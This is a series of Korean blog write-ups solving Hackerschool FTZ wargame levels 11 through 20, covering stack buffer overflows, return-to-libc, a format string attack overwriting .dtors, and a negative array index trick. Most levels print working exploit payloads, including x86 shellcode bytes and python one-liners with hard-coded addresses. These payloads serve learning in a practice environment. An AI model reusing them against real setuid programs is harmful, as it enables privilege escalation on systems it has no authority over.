마지막 문제다. 문제를 보면 fgets로 정상 범주안의 길이의 input을 버퍼에 입력한다.

그래서 지금까지의 오버플로우와는 다른 문제인 것 같다. printf를 자세히 보면 포맷스트링이 없다.

포맷스트링 버그가 일어날 수 있는 문제다.


일단 tmp에 공격 프로그램을 복사하고 인자로 포맷스트링을 주었다.

네번째 포맷스트링에서 처음 입력했던 AAAA의 16진수 값이 나왔다.


이제 페이로드에 필요한 것들을 준비해야한다.

먼저 쉘코드를 입력해야하는데 일단 지금까지 자주 사용했던 25바이트 쉘코드를 사용할 것이다.

근데 오버플로우를 일으켜 스택에 쉘코드를 넣을 수 없다. 하지만 포맷스트링 취약점에 대해 검색을 해본다면 dtors를 이용해 쉘코드 주소를 저장하고 실행 시킬 수 있다.

일단 dtors의 주소를 찾는 방법이다.


두가지가 있다.

1. objdump -s -j .dtors ./attackme

2. nm ./attackme | more


첫번째 방법을 이용해 주소를 찾았다. 0x08049594이다. 하지만 쉘코드를 입력해야 할 주소는 저기보다 +4바이트된 dtors_end 주소(0x08049598)이다.


그리고 이제 쉘코드를 환경변수에 저장하자.

Nop sled는 적당히 100바이트를 붙였다.


그리고 코드를 짜서 환경변수 주소를 읽어올 수 있지만 gdb로 스택에 있는 환경변수 위치를 직접 찾았다.

우리가 공략할 주소는 0xbfffbd0이다.


이제 필요한 정보를 다 얻었으니 페이로드를 작성해야한다.

페이로드는 대략 아래와 같다.

 [4바이트 더미]+[dtors 앞 주소]+[4바이트 더미]+[dtors 뒷 주소]+[%8x*3]+[쉘코드주소의 뒤 주소의 10진수 값c]+"%n"+[쉘코드주소의 앞 주소의 10진수 값c]+"%n"


일단 dtors의 앞 주소는 0x08049598이고 뒷 주소는 0x0804959a다.

그리고 쉘코드 주소의 뒤 주소의 10진수 값은 64464(0xfbd0)인데 이미 40바이트가 앞에 있으므로 64464-40인 64424바이트를 넣으면 된다.


또한 쉘코드 주소의 앞 주소의 10진수 값은 49151(0xbfff)이고 49151을 만들려면 앞에 입력된 64424바이트를 빼줘야한다. 

즉 50223바이트를 넣어주면 된다.

이제 페이로드를 완성해보자.


PAYLOAD

(python -c 'print "AAAA"+"\x98\x95\x04\x08"+"AAAA"+"\x9a\x95\x04\x08"+"%8x"*3+"%64424c"+"%n"+"%50223c"+"%n"';cat) | ./attackme


clear의 쉘과 비밀번호를 얻었다.


클리어 계정에 로그인을 했고 ftz도 올클리어를 했다. 

'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level19@ftz  (0) 2017.11.26
[FTZ] level18@ftz  (0) 2017.11.26
[FTZ] level17@ftz  (0) 2017.11.25
[FTZ] level16@ftz  (0) 2017.11.25
[FTZ] level15@ftz  (0) 2017.11.23

gets함수의 길이 검증이 없어서 오버플로우가 일어나는 부분이 있다.

아주 간단하게 rtl로 풀려고 했다.


일단 메인함수를 gdb로 열어보고,


system함수의 주소도 찾고,


/bin/sh의 주소도 찾았다.


근데 막상 페이로드를 입력하고 보니 쉘을 얻었는데 level19의 쉘이 따졌다. 

정상적이라면 level20의 쉘이 따져야하는데.. 19의 쉘을 땄다. 이것이 왜인고.. 하면 

힌트 소스를 보면 setreuid가 없다..


즉 setreuid가 설정이 안된것이다.

그래서 구글링으로 setreuid가 있는 쉘코드를 찾았다.


쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80


그리고 쉘코드를 환경변수에 등록했다.


등록한 환경변수를 gdb로 어디에 위치했는지 찾았다.

대략 0xbffffbbc쯤 있다.


페이로드를 작성해 쉘을 얻었다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level20@ftz  (1) 2017.11.26
[FTZ] level18@ftz  (0) 2017.11.26
[FTZ] level17@ftz  (0) 2017.11.25
[FTZ] level16@ftz  (0) 2017.11.25
[FTZ] level15@ftz  (0) 2017.11.23

힌트 소스를 보면 파일디스크립터와 관련된 여러가지 새로운 함수들이 추가되었다.


그리고 쉘을 실행시키는 shellout이라는 함수가 선언되었다.


일반적인 오버플로우 문제랑은 조금 다르다.

오버플로우를 할 수 있는 구조가 없는 것 같다.

파일디스크립터 문서들을 읽다가 이해가 안돼서 답을 조금 봤다.


푸는 방법은 의외로 간단했다.

case 문에서 값을 비교할 때 0x08이 있을 때 count를 --하는 부분이 있다.

일단 스택 구조는 아래와 같다.


fds     : ebp-240

count : ebp-112

x       : ebp-108

check : ebp-104 <- 여기가 같아야함

string : ebp-100


그리고 배열의 인덱스 값이 음수이면 스택의 낮은 주소를 가리키게 된다. 이를 이용해 문제를 풀면 된다.


일단 stdin에 0x08을 4번 넣어주게 되면 count가 4번 -가 되므로 string[-4]를 가리킬 수 있다. string[-4]는 스택의 구조에 의해서 check변수가 위치할것이다.

string[-4]에 0xdeadbeef를 넣어주면 두번째 if문에서 check가 0xdeadbeef와 같으므로 shellout함수를 실행할 수 있다.





'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level20@ftz  (1) 2017.11.26
[FTZ] level19@ftz  (0) 2017.11.26
[FTZ] level17@ftz  (0) 2017.11.25
[FTZ] level16@ftz  (0) 2017.11.25
[FTZ] level15@ftz  (0) 2017.11.23

이전 문제와 거의 흡사한데 이번엔 쉘이 실행되는 shell 함수가 없다.

RTL로 접근하려다가 환경변수를 이용해 25바이트 쉘코드로 쉽게 풀 수 있을 것 같았다.

일단 gdb로 보면 아까와 구조가 완전 같다. ebp-56이 buf의 시작주소이고, ebp-16이 call의 시작 주소다.

즉 call 함수는 40바이트를 넘긴 4바이트에 있는 주소를 호출할 수 있다.


일단 25바이트 쉘코드를 환경변수에 등록했다.


그리고 gdb로 공격할 프로그램을 실행시키고 환경변수의 위치를 파악했다.

0xbffffb5c 쯤 Nop sled가 있다. 

이 부분의 값을 call함수의 주소에 오버플로우를 시키면 쉘코드가 실행될 것이다.


쉘을 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level19@ftz  (0) 2017.11.26
[FTZ] level18@ftz  (0) 2017.11.26
[FTZ] level16@ftz  (0) 2017.11.25
[FTZ] level15@ftz  (0) 2017.11.23
[FTZ] level14@ftz  (0) 2017.11.21

이전 문제와 조금 비슷해보이면서 다른 것 같다.

일단 shell이라는 함수와 printit이라는 함수가 선언 되어 있다.

그리고 메인함수를 보면 포인터 변수가 printit을 가리킨다.


그리고 fgets를 사용해 stdin을 buf에 48바이트 입력한다.

이제 gdb로 확인해야겠다.


일단 변수로 할당된 버퍼의 크기는 56바이트다.

그리고 ebp-16에 printit의 주소를 mov하는것으로 보아 ebp-16이 포인터 call이 가리키는 값이 들어가는 것 같다.

일단 스택의 구조를 예상해보면 아래와 같다.

buf[20]

call[4]

crap[4]


buf[20]의 시작 위치가 ebp-56이고 call의 시작 주소는 ebp-16이다. 

56-16을 하면 40이다. 즉 40바이트가 buf에 할당된 사이즈고 그 다음 4바이트가 call이다.


call에 있는 주소를 실행하는 로직이므로 

40바이트를 무작위로 값을 주고 다음 4바이트에 실행시키고 싶은 함수의 주소를 넣어주면 되겠다.

다시말해 shell 함수의 주소로 오버플로우를 시켜주면 되겠다.


일단 shell함수의 주소를 찾았다.

이제 페이로드를 작성해 익스플로잇을 하면 된다.


클리어~


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level18@ftz  (0) 2017.11.26
[FTZ] level17@ftz  (0) 2017.11.25
[FTZ] level15@ftz  (0) 2017.11.23
[FTZ] level14@ftz  (0) 2017.11.21
[FTZ] level13@ftz  (0) 2017.11.21

이번 문제는 fgets 함수를 사용하는 코드에 오버플로우를 일으키는 문제다.

fgets함수는 버퍼의 개수를 지정해주기 때문에 상대적으로 안전하지만 여기서는 지정된 버퍼보다 많은 바이트를 fgets함수로 저장할 수 있다.

우선 GDB로 열어봤다.


변수에 56바이트가 할당되었다.

각 변수들의 위치를 구해보면 buf에서 ebp까지의 거리가 56이고

*check에서 ebp까지의 거리는 16이다.

그러면 자연스럽게 buf와 *check의 거리는 40인것을 알 수 있다.

즉 버퍼에서 40바이트를 넘기면 오버플로우가 일어난다는 것이다.

그리고 fgets함수에 의해 0x2D 즉 45바이트를 넣을 수 있으니 5바이트는 더 넘길 수 있다는 의미다.


하지만 *check는 포인터변수이기 때문에 deadbeef라는 문자열이 있는 곳의 주소를 넣어줘야 한다.

내가 찾은 방법은 두 가지 방법이 있다.


첫번째 방법은 임시버퍼를 이용한 방법이다

두번째는 deadbeef라는 문자열이 있는 곳을 gdb로 잘 보면 친절하게 보여주고 있다. 그 주소를 넣어주면 된다.

먼저 첫번째 방법이다.


임시버퍼

임시버퍼를 이용하면 익스플로잇이 가능하다.

임시버퍼에는 상당히 많은 바이트를 넣어주면 저장이 된다. 그리고 주소가 변경이 되지 않고 고정이 되어 있어서 유용하게 페이로드를 넣고 사용할 수 있다.

일단 버퍼에 Nop sled를 200바이트를 주었다.


임시버퍼를 확인해보니 Nop 바이트가 정확히 들어가 있다.


페이로드는 일단 40바이트로 buf를 채우고 뒤에 4바이트를 0xdeadbeef가 있는 주소를 넣어주면 된다. 

gdb로 정확한 주소를 찾기 위해 일단 0xdeadbeef가 있는 주소가 있어야 할 자리에 AAAA를 넣고 Nop sled를 200바이트를 주고 0xdeadbeef가 있어야 할 자리에 BBBB를 넣고 확인했다.


BBBB가 있는 주소는 0x400170f4다 즉 AAAA위치에 0x400170f4를 넣고 BBBB에 0xdeadbeef를 넣으면 된다.

페이로드를 입력하니 문제가 풀렸다.


0xdeadbeef

gdb를 열어보면 0xedeadbeef랑 변수의 값과 비교하는 곳이 있다.

굳이 임시버퍼에 0xdeadbeef를 입력하지 않고 이 곳의 주소를 이용해 문제를 쉽게 풀 수 있다.


0xdeadbeef가 0x80484b2에 있다.

이제 buf에 40바이트를 넣고 추가적으로 4바이트에 0x80484b2를 넣으면 문제가 풀릴 이다.


아주 간단하게 문제가 풀렸다.

'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level17@ftz  (0) 2017.11.25
[FTZ] level16@ftz  (0) 2017.11.25
[FTZ] level14@ftz  (0) 2017.11.21
[FTZ] level13@ftz  (0) 2017.11.21
[FTZ] level12@ftz  (0) 2017.11.10

문제 힌트다.


fgets로 버퍼의 수를 제한하고 있다. 하지만 그래도 버퍼의 크기보다 큰 사이즈의 값을 저정할 수 있으므로 오버플로우가 가능하다.


먼저 스택의 구조를 상상해보면 아래와 같다.


buf[20바이트]

check[4바이트]

crap[4바이트]


버퍼에 오버플로우를 일으켜 check에 0xdeadbeef를 넣으면 system함수가 실행되면서 문제가 풀릴것이다.


GDB로 버퍼의 크기를 일단 확인해봐야겠다.


56바이트를 버퍼에 할당했다. 일단 fgets 함수는 45바이트 까지만 퍼버의 값을 채워준다.


0xdeadbeef랑 비교하는 구문이 있는데 이곳의 위치는 ebp-16이다 즉 check변수의 위치라는 것이다.

buf의 시작위치는 ebp-56이고 check의 위치는 ebp-16이다. 

다시말해 buf에 40바이트 이상을 넣으면 오버플로우가 일어난다는 의미다.


간단하게 40바이트 뒤에 4바이트에 0xdeadbeef를 넣으면 system 함수를 실행할 수 있을 것이다.


쉘을 얻었다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level16@ftz  (0) 2017.11.25
[FTZ] level15@ftz  (0) 2017.11.23
[FTZ] level13@ftz  (0) 2017.11.21
[FTZ] level12@ftz  (0) 2017.11.10
[FTZ] level11@ftz  (0) 2017.11.10


소스 힌트다.


변수가 두개 설정 되어있다.


버퍼의 크기는 0x418 즉 1048바이트로 설정되어있다.


long i가 먼저 선언되었으며 스택의 높은주소쪽에 위치할 것이다.

 ebp-12에 0x1234567을 mov하는것을 볼 수 있다. 버퍼를 넘치게해 ebp-12에 오버플로우를 일으키면 된다.


일단 1048바이트 뒤에 AAAA를 주어 확인해보니 ebp에 AAAA가 위치한다.

ebp-12에 0x1234567이 들어가야 하니까 바이트 수를 좀 줄여서 확인해봐야겠다.


1036바이트 뒤에 AAAA를 주니 ebp-12에 값이 들어갔다.


이제 RTL 페이로드를 작성해야겠다.


bin/sh의 주소를 구했다.


system함수의 주소를 구했다.


Payload

NOP sled [1036바이트] + 0x1234567 [4바이트] + NOP sled [12바이트] + SYSTEM 함수 주소 [4바이트] + NOP sled [4바이트] + /bin/sh 주소 [4바이트]

`python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xc0\xf2\x03\x42"+"\x90"*4+"\xa4\x7e\x12\x42"'`


쉘을 얻었다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level15@ftz  (0) 2017.11.23
[FTZ] level14@ftz  (0) 2017.11.21
[FTZ] level12@ftz  (0) 2017.11.10
[FTZ] level11@ftz  (0) 2017.11.10
[FTZ] level10@ftz  (0) 2017.11.10

힌트를 보면 gets함수를 사용해 입력한 값을 str버퍼에 저장한다. 버퍼의 크기를 gdb를 통해 확인해보자.


버퍼의 크기를 보기 위해 원본파일을 tmp파일에 복사한 후 gdb로 열었다.

버퍼의 크기를 0x108 즉, 264바이트를 할당했다.


필터기능도 없고 단순하게 RTL로 풀면 되겠다.


RTL을 위해 일단 system 함수의 주소를 gdb로 찾았다.

system함수의 주소는 0x4203f2c0이다.


그리고 /bin/sh의 위치도 찾았다.

/bin/sh의 주소는 0x42127ea4다.


쉘을 얻었다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level14@ftz  (0) 2017.11.21
[FTZ] level13@ftz  (0) 2017.11.21
[FTZ] level11@ftz  (0) 2017.11.10
[FTZ] level10@ftz  (0) 2017.11.10
[FTZ] level9@ftz  (0) 2017.11.09

이번 문제는 bof문제다. 버퍼오버플로우가 일어나기 쉬운 strcpy함수를 사용했다. 

버퍼에 쉘코드를 삽입하고 쉘코드의 주소로 eip 주소를 바꾸는 방법과 rtl로 푸는 방법이 있다. 먼저 rtl로 푸는 방법부터 설명한다.


RTL (Return to Library) 

소스에는 버퍼에 256바이트가 할당되었다. 더미값이 있는지 확인하기 위해 문제에 있는 attackme파일을 tmp파일로 옮겨 gdb로 확인해봐야겠다.


소스는 256바이트를 할당했는데 gdb로 확인하니 264 바이트의 버퍼가 있다. 더미로 8바이트가 있다는 것이다.

RTL 기법을 이용하려면 일단 system 함수의 주소와 /bin/sh의 주소를 알아야 한다. gdb로 확인한다.


먼저 main함수에 BP를 건다.


p 명령을 이용해 system 함수의 주소를 찾았다. 주소는 0x4203f2c0이다.


#include <stdio.h>

int main(int argc, char **argv)
{
        long shell;
        shell = 0x4203f2c0;  // <=== system()... ..
        while(memcmp((void*)shell,"/bin/sh",8)) shell++;
        printf("\"/bin/sh\" is at 0x%x\n",shell);
}

위 코드는 /bin/sh의 주소를 찾는 소스코드다.


컴파일 하고 실행하면 /bin/sh의 주소가 나온다.


이제 필요한 정보를 다 찾았으니 payload를 작성한다.

먼저 스택의 구조를 살펴보면 아래와 같다.

BUFFER[264]

 SFP[4]

 RET[4]

dummy[~]

 


그리고 이 스택에 payload를 아래와 같이 입력한다.


\x90\x90..................\x90\x90 

\x90\x90\x90\x90[

 system()주소

\x90\x90\x90\x90 

 /bin/sh의 주소



리틀엔디언 방식으로 입력하여 payload는 아래와 같다.

`python -c 'print "\x90"*268+"\xc0\xf2\x03\x42"+"\x90"*4+"\xa4\x7e\x12\x42"'`


EIP 주소를 변경해 쉘코드 실행하기

공격을 하기 전에 공격을 위한 쉘코드가 필요하다.

난 쉽게 구할 수 있는 25바이트 쉘코드를 사용할 것이다.

Sell Code : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


버퍼는 264바이트의 크기를 가진다. 따라서 sfp까지를 임의의 값으로 바꾸고 eip주소로 넣을 주소를 마지막 4바이트에 추가하면 된다.

일단 페이로드를 작성하고 core dump로 확인하면서 페이로드를 만들어 가면 된다.

쉘코드가 25바이트 이므로 243바이트의 NOP sled를 주고 쉘코드로 25바이트를 주면 268바이트 즉 sfp까지 값을 줄 수 있다.

그리고 뒤 4바이트는 일단 임의의 AAAA라는 값을 주고 core dump로 확인해본다.


우선 core dump를 확인하려면 내 권한이 있어야 하므로 공격할 프로그램을 tmp 파일로 복사한 후 ulimit -c unlimited로 core dump를 생성하는 명령을 사용한다.


페이로드는 아래와 같다.

`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

코어 덤프가 생성되었다.


코어덤프를 gdb로 열어서 화인하면 0x41414141이란 주소에서 seg fault가 터졌다. eip 위치를 정확히 찾아서 AAAA라는 값을 집어넣은 것이다.


gdb) x/100x $esp 로 스택의 값을 확인하다보면 내가 입력한 버퍼의 위치를 찾을 수 있다.

NOP sled가 있는 주소 중 아무거나 선택해서 마지막 4바이트에 채워넣고 실행해본다.

난 0xbffffb50를 eip 주소로 할 것이다.


새로운 페이로드는 아래와 같다.

`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xfb\xff\xbf"'`



새 페이로드로 공격을 하니 성공적으로 쉘을 획득했다. 하지만 setreuid가 level12로 설정된 파일이 아니여서 권한은 level11이다. 이제 공격할 프로그램을 대상으로 페이로드를 사용해보겠다.

성공적으로 쉘을 얻었으며 level12의 password도 찾았다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level13@ftz  (0) 2017.11.21
[FTZ] level12@ftz  (0) 2017.11.10
[FTZ] level10@ftz  (0) 2017.11.10
[FTZ] level9@ftz  (0) 2017.11.09
[FTZ] level8@ftz  (0) 2017.11.09

+ Recent posts